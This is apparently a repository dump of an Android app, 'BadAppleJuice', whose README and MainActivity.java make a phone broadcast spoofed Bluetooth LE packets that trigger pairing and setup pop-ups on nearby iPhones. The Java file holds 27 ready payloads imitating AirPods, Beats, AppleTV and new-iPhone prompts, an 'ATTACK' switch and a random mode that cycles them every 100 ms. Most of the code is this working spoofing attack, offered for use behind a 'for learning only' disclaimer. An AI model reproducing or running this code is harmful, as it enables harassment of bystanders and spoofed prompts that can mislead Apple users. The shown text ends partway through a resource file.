[
  {
    "path": ".gitignore",
    "content": "*.iml\n.gradle\n/local.properties\n/.idea/caches\n/.idea/libraries\n/.idea/modules.xml\n/.idea/workspace.xml\n/.idea/navEditor.xml\n/.idea/assetWizardSettings.xml\n.DS_Store\n/build\n/captures\n.externalNativeBuild\n.cxx\nlocal.properties\n"
  },
  {
    "path": "README.md",
    "content": "# BadAppleJuice\n\n该项目已停止更新\n\n本项目参考自[EvilAppleJuice](https://github.com/ckcr4lyf/EvilAppleJuice-ESP32)项目，用于在安卓设备上发送蓝牙广播包，唤起(iPhone)设备的弹窗。\n\n> [!NOTE]\n> Issue里尽量提供问题相关截图，谢谢！\n\n* 程序图片展示\n\n![image](https://github.com/Sab1e-GitHub/BadAppleJuice/assets/72060564/06873ca7-8437-43f7-a452-09e50a94287c)\n\n> [!NOTE]\n> 程序截图为v1.3版本，后续版本可能略有不同\n\n- [x] 当前功能：\n1. 自动发送广播包\n1. 自定义弹窗设备（27种）\n1. 发送随机设备广播包\n1. 自定义广播功率，控制广播范围\n1. 自定义广播间隔时间\n\n> [!NOTE]\n> 作者是新手，代码写的不是很好，望见谅。\n"
  },
  {
    "path": "app/.gitignore",
    "content": "/build"
  },
  {
    "path": "app/build.gradle.kts",
    "content": "plugins {\n    id(\"com.android.application\")\n}\n\nandroid {\n    namespace = \"cn.sab1e.badapplejuice\"\n    compileSdk = 33\n\n    defaultConfig {\n        applicationId = \"cn.sab1e.badapplejuice\"\n        minSdk = 26\n        targetSdk = 33\n        versionCode = 1\n        versionName = \"1.5.1\"\n\n        testInstrumentationRunner = \"androidx.test.runner.AndroidJUnitRunner\"\n    }\n\n    buildTypes {\n        release {\n            isMinifyEnabled = false\n            proguardFiles(\n                getDefaultProguardFile(\"proguard-android-optimize.txt\"),\n                \"proguard-rules.pro\"\n            )\n        }\n    }\n    compileOptions {\n        sourceCompatibility = JavaVersion.VERSION_1_8\n        targetCompatibility = JavaVersion.VERSION_1_8\n    }\n}\n\ndependencies {\n\n    implementation(\"androidx.appcompat:appcompat:1.6.1\")\n    implementation(\"com.google.android.material:material:1.8.0\")\n    implementation(\"androidx.constraintlayout:constraintlayout:2.1.4\")\n    testImplementation(\"junit:junit:4.13.2\")\n    androidTestImplementation(\"androidx.test.ext:junit:1.1.5\")\n    androidTestImplementation(\"androidx.test.espresso:espresso-core:3.5.1\")\n}"
  },
  {
    "path": "app/proguard-rules.pro",
    "content": "# Add project specific ProGuard rules here.\n# You can control the set of applied configuration files using the\n# proguardFiles setting in build.gradle.\n#\n# For more details, see\n#   http://developer.android.com/guide/developing/tools/proguard.html\n\n# If your project uses WebView with JS, uncomment the following\n# and specify the fully qualified class name to the JavaScript interface\n# class:\n#-keepclassmembers class fqcn.of.javascript.interface.for.webview {\n#   public *;\n#}\n\n# Uncomment this to preserve the line number information for\n# debugging stack traces.\n#-keepattributes SourceFile,LineNumberTable\n\n# If you keep the line number information, uncomment this to\n# hide the original source file name.\n#-renamesourcefileattribute SourceFile"
  },
  {
    "path": "app/src/androidTest/java/cn/sab1e/badapplejuice/ExampleInstrumentedTest.java",
    "content": "package cn.sab1e.badapplejuice;\n\nimport android.content.Context;\n\nimport androidx.test.platform.app.InstrumentationRegistry;\nimport androidx.test.ext.junit.runners.AndroidJUnit4;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\n\nimport static org.junit.Assert.*;\n\n/**\n * Instrumented test, which will execute on an Android device.\n *\n * @see <a href=\"http://d.android.com/tools/testing\">Testing documentation</a>\n */\n@RunWith(AndroidJUnit4.class)\npublic class ExampleInstrumentedTest {\n    @Test\n    public void useAppContext() {\n        // Context of the app under test.\n        Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext();\n        assertEquals(\"cn.sab1e.badapplejuice\", appContext.getPackageName());\n    }\n}"
  },
  {
    "path": "app/src/main/AndroidManifest.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    tools:ignore=\"CoarseFineLocation\">\n    <uses-permission android:name=\"android.permission.BLUETOOTH\" />\n    <uses-permission android:name=\"android.permission.BLUETOOTH_ADMIN\" />\n    <uses-permission android:name=\"android.permission.BLUETOOTH_ADVERTISE\" />\n    <uses-permission android:name=\"android.permission.BLUETOOTH_CONNECT\" />\n    <uses-permission android:name=\"android.permission.ACCESS_FINE_LOCATION\" />\n    <uses-feature android:name=\"android.hardware.bluetooth\" />\n    <application\n        android:allowBackup=\"true\"\n        android:dataExtractionRules=\"@xml/data_extraction_rules\"\n        android:fullBackupContent=\"@xml/backup_rules\"\n        android:icon=\"@mipmap/ic_launcher\"\n        android:label=\"@string/app_name\"\n        android:roundIcon=\"@mipmap/ic_launcher_round\"\n        android:supportsRtl=\"true\"\n        android:theme=\"@style/Theme.BadAppleJuice\"\n        tools:targetApi=\"31\">\n        <activity\n            android:name=\".MainActivity\"\n            android:exported=\"true\">\n            <intent-filter>\n                <action android:name=\"android.intent.action.MAIN\" />\n                <category android:name=\"android.intent.category.LAUNCHER\" />\n            </intent-filter>\n        </activity>\n    </application>\n\n</manifest>"
  },
  {
    "path": "app/src/main/java/cn/sab1e/badapplejuice/MainActivity.java",
    "content": "package cn.sab1e.badapplejuice;\n\nimport static android.content.pm.PackageManager.PERMISSION_GRANTED;\n\nimport android.Manifest;\nimport android.annotation.SuppressLint;\nimport android.bluetooth.BluetoothAdapter;\nimport android.bluetooth.le.AdvertiseData;\nimport android.bluetooth.le.AdvertisingSet;\nimport android.bluetooth.le.AdvertisingSetCallback;\nimport android.bluetooth.le.AdvertisingSetParameters;\nimport android.bluetooth.le.BluetoothLeAdvertiser;\nimport android.content.pm.PackageInfo;\nimport android.content.pm.PackageManager;\nimport android.os.Bundle;\nimport android.text.method.ScrollingMovementMethod;\nimport android.util.Log;\nimport android.view.View;\nimport android.widget.AdapterView;\nimport android.widget.ArrayAdapter;\nimport android.widget.Button;\nimport android.widget.CompoundButton;\nimport android.widget.EditText;\nimport android.widget.Spinner;\nimport android.widget.TextView;\nimport android.widget.Toast;\n\nimport androidx.annotation.NonNull;\nimport androidx.appcompat.app.AppCompatActivity;\nimport androidx.appcompat.widget.SwitchCompat;\nimport androidx.core.app.ActivityCompat;\nimport androidx.core.content.ContextCompat;\n\nimport java.time.LocalTime;\nimport java.time.format.DateTimeFormatter;\nimport java.util.Arrays;\nimport java.util.Random;\n\npublic class MainActivity extends AppCompatActivity {\n\n    private static final String TAG = \"BLE\";\n\n    private final DateTimeFormatter formatter = DateTimeFormatter.ofPattern(\"HH:mm:ss.SSS\");\n\n    private BluetoothLeAdvertiser bluetoothLeAdvertiser;\n    private final BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter();\n    AdvertisingSet currentAdvertisingSet = null;\n    /** @noinspection SpellCheckingInspection*/\n    public byte[][] deviceData = {\n            /*1_AirPods*/{0x07, 0x19, 0x07, 0x02, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},\n            /*2_AirPods Pro*/{0x07, 0x19, 0x07, 0x0e, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},\n            /*3_AirPods Max*/{0x07, 0x19, 0x07, 0x0a, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},\n            /*4_AirPods*/{0x07, 0x19, 0x07, 0x0f, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},\n            /*5_AirPods*/{0x07, 0x19, 0x07, 0x13, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},\n            /*6_AirPods Pro*/{0x07, 0x19, 0x07, 0x14, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},\n            /*7_Powerbeats3*/{0x07, 0x19, 0x07, 0x03, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},\n            /*8_Powerbeats Pro*/{0x07, 0x19, 0x07, 0x0b, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},\n            /*9_Beats Solo Pro*/{0x07, 0x19, 0x07, 0x0c, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},\n            /*10_Beats Studio Buds*/{0x07, 0x19, 0x07, 0x11, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},\n            /*11_Beats Flex*/{0x07, 0x19, 0x07, 0x10, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},\n            /*12_BeatsX*/{0x07, 0x19, 0x07, 0x05, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},\n            /*13_Beats Solo3*/{0x07, 0x19, 0x07, 0x06, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},\n            /*14_Beats Studio3*/{0x07, 0x19, 0x07, 0x09, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},\n            /*15_Beats Studio Pro*/{0x07, 0x19, 0x07, 0x17, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},\n            /*16_Beats Fit Pro*/{0x07, 0x19, 0x07, 0x12, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},\n            /*17_Beats Studio Buds +*/{0x07, 0x19, 0x07, 0x16, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},\n            /*18_设置AppleTV*/{0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, (byte) 0xc1, 0x01, 0x60, 0x4c, (byte) 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},\n            /*19_配对AppleTV*/{0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, (byte) 0xc1, 0x20, 0x60, 0x4c, (byte) 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},\n            /*20_AppleTV 验证AppleID*/{0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, (byte) 0xc1, 0x2b, 0x60, 0x4c, (byte) 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},\n            /*21_AppleTV 隔空投放和HomeKit*/{0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, (byte) 0xc1, 0x0d, 0x60, 0x4c, (byte) 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},\n            /*22_AppleTV键盘*/{0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, (byte) 0xc1, 0x13, 0x60, 0x4c, (byte) 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},\n            /*23_正在连接AppleTV*/{0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, (byte) 0xc1, 0x27, 0x60, 0x4c, (byte) 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},\n            /*24_HomePod*/{0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, (byte) 0xc1, 0x0b, 0x60, 0x4c, (byte) 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},\n            /*25_设置新iPhone*/{0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, (byte) 0xc1, 0x09, 0x60, 0x4c, (byte) 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},\n            /*26_转移手机号码*/{0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, (byte) 0xc1, 0x02, 0x60, 0x4c, (byte) 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},\n            /*27_测量TV色彩平衡*/{0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, (byte) 0xc1, 0x1e, 0x60, 0x4c, (byte) 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},\n    };\n    /** @noinspection SpellCheckingInspection*/ //private byte[][] testData = {{0x16, 0x01, 0x06, (byte) 0x80, 0x4a, (byte) 0xe4, (byte) 0xe4, 0x45, (byte) 0xe3, 0x65, 0x74, (byte) 0xd3, 0x6c, (byte) 0xee, (byte) 0xb9, 0x27, 0x40, (byte) 0x92, (byte) 0xd3, 0x6c, (byte) 0xee, (byte) 0xc7, 0x0f, 0x40}};\n    private final String[] deviceNameArr = {\n            \"AirPods\",\n            \"AirPods Pro\",\n            \"AirPods Max\",\n            \"AirPods\",\n            \"AirPods\",\n            \"AirPods Pro\",\n            \"Powerbeats3\",\n            \"Powerbeats Pro\",\n            \"Beats Solo Pro\",\n            \"Beats Studio Buds\",\n            \"Beats Flex\",\n            \"BeatsX\",\n            \"Beats Solo3\",\n            \"Beats Studio3\",\n            \"Beats Studio Pro\",\n            \"Beats Fit Pro\",\n            \"Beats Studio Buds +\",\n            \"设置AppleTV\",\n            \"配对AppleTV\",\n            \"AppleTV 验证AppleID\",\n            \"AppleTV 隔空投放和HomeKit\",\n            \"AppleTV键盘\",\n            \"正在连接AppleTV\",\n            \"HomePod\",\n            \"设置新iPhone\",\n            \"转移手机号码\",\n            \"测量TV色彩平衡\"\n    };\n    private String helpString = null;\n    private int spIndex = 0;\n    private boolean deviceIsRandom = false;\n    private boolean isStopThread = false;\n    private int interval = 160;\n    private int txPowerLevel = 1;\n\n    @SuppressLint(\"SetTextI18n\")\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n\n        Spinner sp_SelectDevice = findViewById(R.id.sp_SelectDevice);\n        ArrayAdapter<String> devAdapter = new ArrayAdapter<>(this, android.R.layout.simple_list_item_1, deviceNameArr);\n        sp_SelectDevice.setAdapter(devAdapter);\n        sp_SelectDevice.setSelection(0);\n\n        SwitchCompat sw_ATTACK = findViewById(R.id.sw_ATTACK);\n        SwitchCompat sw_RandomDevice = findViewById(R.id.sw_RandomDevice);\n        Button btn_help = findViewById(R.id.btn_help);\n        Button btn_SetParameter = findViewById(R.id.btn_SetParameter);\n        TextView tv_Debug = findViewById(R.id.tv_Debug);\n        TextView tv_advState = findViewById(R.id.tv_advState);\n        EditText et_Interval = findViewById(R.id.et_Interval);\n        EditText et_TxPowerLevel = findViewById(R.id.et_TxPowerLevel);\n\n        Random random = new Random(100);\n        tv_Debug.setMovementMethod(ScrollingMovementMethod.getInstance());\n\n        if (bluetoothAdapter != null && bluetoothAdapter.isEnabled()) {\n            if (bluetoothAdapter.isMultipleAdvertisementSupported()) {\n                bluetoothLeAdvertiser = bluetoothAdapter.getBluetoothLeAdvertiser();\n            } else {\n                Toast.makeText(this, \"您的设备不支持BLE广播！错误代码：03\", Toast.LENGTH_SHORT).show();\n            }\n        } else {\n            Toast.makeText(this, \"您的设备不支持蓝牙！错误代码：04\", Toast.LENGTH_SHORT).show();\n        }\n\n        helpString = \"\\n当前软件版本号：v\"\n                + getVersionName()\n                + \"\\n当前设备SDK版本：\"\n                + android.os.Build.VERSION.SDK_INT\n                + \"\\n\\n作者：Sab1e\\n\"\n                + \"\\n程序功能介绍：\\n\"\n                + \"\\n随机设备：从27个设备中随机选取。\\n\"\n                + \"\\n发射功率：单位为dBm，取值范围：[-127,1]\\n\"\n                + \"\\n间隔时间：单位为0.625ms，取值范围：[160,16777215]\\n\"\n                + \"\\n声明：该软件仅用于学习和交流使用，作者不承担用户使用该软件的任何后果，使用该软件表示用户同意该声明。\";\n        tv_Debug.setText(helpString);\n        sp_SelectDevice.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {\n            @SuppressLint(\"MissingPermission\")\n            @Override\n            public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {\n                if (bluePermission()) {\n                    if (currentAdvertisingSet != null) {\n                        Log.i(TAG, \"device modify successful!\");\n                        currentAdvertisingSet.setAdvertisingData(new AdvertiseData.Builder()\n                                .addManufacturerData(0x004c, deviceData[spIndex])\n                                .build());\n                    }\n                }\n            }\n\n            @Override\n            public void onNothingSelected(AdapterView<?> parent) {\n\n            }\n        });\n        //参数设置时检查输入是否合法\n        btn_SetParameter.setOnClickListener(new View.OnClickListener() {\n            @SuppressLint(\"MissingPermission\")\n            @Override\n            public void onClick(View v) {\n                int lastInterval = interval;\n                int lastTxPowerLevel = txPowerLevel;\n                try {\n                    interval = Integer.parseInt(et_Interval.getText().toString());\n                    txPowerLevel = Integer.parseInt(et_TxPowerLevel.getText().toString());\n                    if ((interval >= 160 && interval <= 16777215) && (txPowerLevel >= -127 && txPowerLevel <= 1)) {\n                        if (bluePermission()) {\n                            if (currentAdvertisingSet != null) {\n                                Log.i(TAG, \"currentAdvertisingSet modify successful!\");\n                                currentAdvertisingSet.setAdvertisingParameters(new AdvertisingSetParameters.Builder()\n                                        .setTxPowerLevel(txPowerLevel)\n                                        .setInterval(interval)\n                                        .build());\n                            }\n                            tv_Debug.setText(\"参数设置成功！\\n当前参数：\\n\\t发射功率：\" + txPowerLevel + \"dBm\\n\\t间隔时间：\" + (interval * 0.625) + \"ms\\n\\t随机设备：\" + deviceIsRandom);\n                        }\n                    } else {\n                        throw new Exception();\n                    }\n                } catch (Exception e) {\n                    interval = lastInterval;\n                    txPowerLevel = lastTxPowerLevel;\n                    et_Interval.setText(String.valueOf(lastInterval));\n                    et_TxPowerLevel.setText(String.valueOf(lastTxPowerLevel));\n                    Toast.makeText(MainActivity.this, \"输入值不合法，请重新输入！\", Toast.LENGTH_SHORT).show();\n                }\n            }\n        });\n        btn_help.setOnClickListener(v -> tv_Debug.setText(helpString));\n        sw_RandomDevice.setOnCheckedChangeListener((buttonView, isChecked) -> {\n            deviceIsRandom = isChecked;\n            tv_Debug.setText(\"参数设置成功！\\n当前参数：\\n\\t发射功率：\" + txPowerLevel + \"dBm\\n\\t间隔时间：\" + (interval * 0.625) + \"ms\\n\\t随机设备：\" + deviceIsRandom);\n        });\n        sw_ATTACK.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {\n            @Override\n            @SuppressLint(\"MissingPermission\")\n            public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {\n                if (isChecked) {\n                    isStopThread = false;\n                    tv_Debug.setText(\"\");\n                    tv_Debug.append(\"正在进行各项检测\");\n                    tv_Debug.append(\".\");\n                    if (bluetoothAdapter == null) {\n                        tv_Debug.append(\"\\n您的设备不支持蓝牙功能！\\n\");\n                        sw_ATTACK.setChecked(false);\n                        return;\n                    }\n                    tv_Debug.append(\".\");\n                    if (!bluetoothAdapter.isEnabled()) {\n                        tv_Debug.append(\"\\n蓝牙已关闭\\n请打开蓝牙后重试\\n\");\n                        sw_ATTACK.setChecked(false);\n                        return;\n                    }\n                    tv_Debug.append(\".\");\n                    if (!(bluetoothAdapter.isOffloadedFilteringSupported() ||\n                            bluetoothAdapter.isOffloadedScanBatchingSupported() ||\n                            bluetoothAdapter.isMultipleAdvertisementSupported())) {\n                        tv_Debug.append(\"\\n您的设备不支持BLE广播功能！\\n\");\n                        sw_ATTACK.setChecked(false);\n                        return;\n                    }\n                    tv_Debug.append(\"\\n检测完毕，功能正常！\\n\");\n                    tv_Debug.append(\"正在获取蓝牙权限...\\n\");\n                    if (bluePermission()) {\n                        tv_Debug.append(\"蓝牙权限获取成功！\\n\");\n                        tv_Debug.append(\"当前参数：\\n\\t发射功率：\" + txPowerLevel + \"dBm\\n\\t间隔时间：\" + (interval * 0.625) + \"ms\\n\\t随机设备：\" + deviceIsRandom);\n                        interval = Integer.parseInt(et_Interval.getText().toString());\n                        txPowerLevel = Integer.parseInt(et_TxPowerLevel.getText().toString());\n                        spIndex = sp_SelectDevice.getSelectedItemPosition();\n                        startAdv(deviceData[spIndex]);\n                        new Thread(() -> {\n                            while (true) {\n                                try {\n                                    //随机设备\n                                    if (deviceIsRandom) {\n                                        spIndex = random.nextInt(26);\n                                        if (currentAdvertisingSet != null) {\n                                            Log.i(TAG, \"device modify successful!\");\n                                            currentAdvertisingSet.setAdvertisingData(new AdvertiseData.Builder()\n                                                    .addManufacturerData(0x004c, deviceData[spIndex])\n                                                    .build());\n                                        }\n                                    } else {\n                                        spIndex = sp_SelectDevice.getSelectedItemPosition();\n                                    }\n                                    runOnUiThread(() -> tv_advState.setText(\"@\" + LocalTime.now().format(formatter) + \" \\t\" + deviceNameArr[spIndex] + \"\\n\"));\n                                    if (isStopThread) {\n                                        runOnUiThread(() -> tv_advState.setText(\"广播已停止\"));\n                                        stopAdv();\n                                        break;\n                                    }\n                                    Thread.sleep(100);\n                                } catch (InterruptedException e) {\n                                    throw new RuntimeException(e);\n                                }\n                            }\n                        }).start();\n                    } else {\n                        tv_Debug.append(\"\\n无权限，请授权后重试！\\n\");\n                        sw_ATTACK.setChecked(false);\n                    }\n                } else {\n                    isStopThread = true;\n                }\n            }\n        });\n    }\n\n    //获取当前APP版本\n    private String getVersionName() {\n        PackageManager packageManager = getPackageManager();\n        PackageInfo packInfo;\n        try {\n            packInfo = packageManager.getPackageInfo(getPackageName(), 0);\n        } catch (PackageManager.NameNotFoundException e) {\n            throw new RuntimeException(e);\n        }\n        return packInfo.versionName;\n    }\n\n    //获取蓝牙权限\n    private boolean bluePermission() {\n        Log.i(TAG, \"Requesting Bluetooth Permission...\");\n        if (android.os.Build.VERSION.SDK_INT > 30) {\n            if (checkPermission(Manifest.permission.BLUETOOTH_ADVERTISE, Manifest.permission.BLUETOOTH_CONNECT)) {\n                requestPermission(Manifest.permission.BLUETOOTH_ADVERTISE, Manifest.permission.BLUETOOTH_CONNECT);\n                return false;\n            }\n        } else {\n            if (checkPermission(Manifest.permission.ACCESS_FINE_LOCATION)) {\n                requestPermission(Manifest.permission.ACCESS_FINE_LOCATION);\n                return false;\n            }\n        }\n        return true;\n    }\n\n    /**\n     * 封装检测权限的方法\n     *\n     * @param permissions 权限列表\n     * @return 是否有权限\n     */\n    private boolean checkPermission(@NonNull String... permissions) {\n        return Arrays.stream(permissions).allMatch(permission ->\n                ContextCompat.checkSelfPermission(this, permission) != PERMISSION_GRANTED);\n    }\n\n    /**\n     * 封装请求权限的方法\n     *\n     * @param permissions 权限列表\n     */\n    private void requestPermission(@NonNull String... permissions) {\n        ActivityCompat.requestPermissions(this, permissions, 1);\n    }\n\n    //权限获取结果反馈\n    @Override\n    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {\n        super.onRequestPermissionsResult(requestCode, permissions, grantResults);\n        if (requestCode == 1) {\n            if (grantResults[0] != PERMISSION_GRANTED) {\n                if (android.os.Build.VERSION.SDK_INT > 30) {\n                    if (checkPermission(Manifest.permission.BLUETOOTH_ADVERTISE)) {\n                        Toast.makeText(this, \"无权限：BLUETOOTH_ADVERTISE\", Toast.LENGTH_SHORT).show();\n                    }\n                    if (checkPermission(Manifest.permission.BLUETOOTH_CONNECT)) {\n                        Toast.makeText(this, \"无权限：BLUETOOTH_CONNECT\", Toast.LENGTH_SHORT).show();\n                    }\n                } else {\n                    if (checkPermission(Manifest.permission.ACCESS_FINE_LOCATION)) {\n                        Toast.makeText(this, \"无权限：android.permission.ACCESS_FINE_LOCATION\", Toast.LENGTH_SHORT).show();\n                    }\n                }\n            }\n        }\n    }\n\n    //停止广播\n    @SuppressLint(\"MissingPermission\")\n    public void stopAdv() {\n        AdvertisingSetCallback advertisingCallback = new AdvertisingSetCallback() {\n            @Override\n            public void onAdvertisingSetStarted(AdvertisingSet advertisingSet, int txPower, int status) {\n                Log.i(TAG, \"onAdvertisingSetStarted(): txPower:\" + txPower + \" , status: \" + status);\n                currentAdvertisingSet = advertisingSet;\n            }\n\n            @Override\n            public void onAdvertisingDataSet(AdvertisingSet advertisingSet, int status) {\n                Log.i(TAG, \"onAdvertisingDataSet() :status:\" + status);\n            }\n\n            @Override\n            public void onScanResponseDataSet(AdvertisingSet advertisingSet, int status) {\n                Log.i(TAG, \"onScanResponseDataSet(): status:\" + status);\n            }\n\n            @Override\n            public void onAdvertisingSetStopped(AdvertisingSet advertisingSet) {\n                Log.i(TAG, \"onAdvertisingSetStopped():\");\n            }\n        };\n        if (bluePermission()) {\n            bluetoothLeAdvertiser.stopAdvertisingSet(advertisingCallback);\n        }\n    }\n\n    //开始广播\n    @SuppressLint(\"MissingPermission\")\n    public void startAdv(byte[] data) {\n        AdvertisingSetParameters parameters = new AdvertisingSetParameters.Builder()\n                .setLegacyMode(true)\n                .setConnectable(false)\n                .setInterval(interval)\n                .setTxPowerLevel(txPowerLevel)\n                .build();\n        AdvertiseData Data = new AdvertiseData.Builder()\n                .setIncludeDeviceName(false)\n                .setIncludeTxPowerLevel(false)\n                .addManufacturerData(0x004c, data)\n                .build();\n        AdvertiseData scanData = new AdvertiseData.Builder()\n                .setIncludeTxPowerLevel(true)\n                .setIncludeDeviceName(true)\n                .build();\n        AdvertisingSetCallback advertisingCallback = new AdvertisingSetCallback() {\n            @Override\n            public void onAdvertisingSetStarted(AdvertisingSet advertisingSet, int txPower, int status) {\n                Log.i(TAG, \"onAdvertisingSetStarted(): txPower:\" + txPower + \" , status: \" + status);\n                currentAdvertisingSet = advertisingSet;\n            }\n\n            @Override\n            public void onAdvertisingDataSet(AdvertisingSet advertisingSet, int status) {\n                Log.i(TAG, \"onAdvertisingDataSet() :status:\" + status);\n            }\n\n            @Override\n            public void onScanResponseDataSet(AdvertisingSet advertisingSet, int status) {\n                Log.i(TAG, \"onScanResponseDataSet(): status:\" + status);\n            }\n\n            @Override\n            public void onAdvertisingSetStopped(AdvertisingSet advertisingSet) {\n                Log.i(TAG, \"onAdvertisingSetStopped():\");\n            }\n        };\n        if (bluePermission()) {\n            Log.d(TAG, \"Advertising Successful!\");\n            bluetoothLeAdvertiser.startAdvertisingSet(parameters, Data, scanData, null, null, advertisingCallback);\n        } else {\n            Log.e(TAG, \"Advertising Failed! Need Permission.\");\n            Toast.makeText(this, \"程序需要获取权限！错误代码：02\", Toast.LENGTH_SHORT).show();\n        }\n    }\n}\n"
  },
  {
    "path": "app/src/main/res/drawable/ic_launcher_background.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<vector\n    android:height=\"108dp\"\n    android:width=\"108dp\"\n    android:viewportHeight=\"108\"\n    android:viewportWidth=\"108\"\n    xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <path android:fillColor=\"#3DDC84\"\n          android:pathData=\"M0,0h108v108h-108z\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M9,0L9,108\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M19,0L19,108\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M29,0L29,108\"\n          android:strokeColor=\"#33FFFFFF\" android:strokeWidth=\"0.8\"/>\n    <path android:fillColor=\"#00000000\" android:pathData=\"M39,0L39,108\"\n          android:strokeColor=\"#33FFFFFF\" 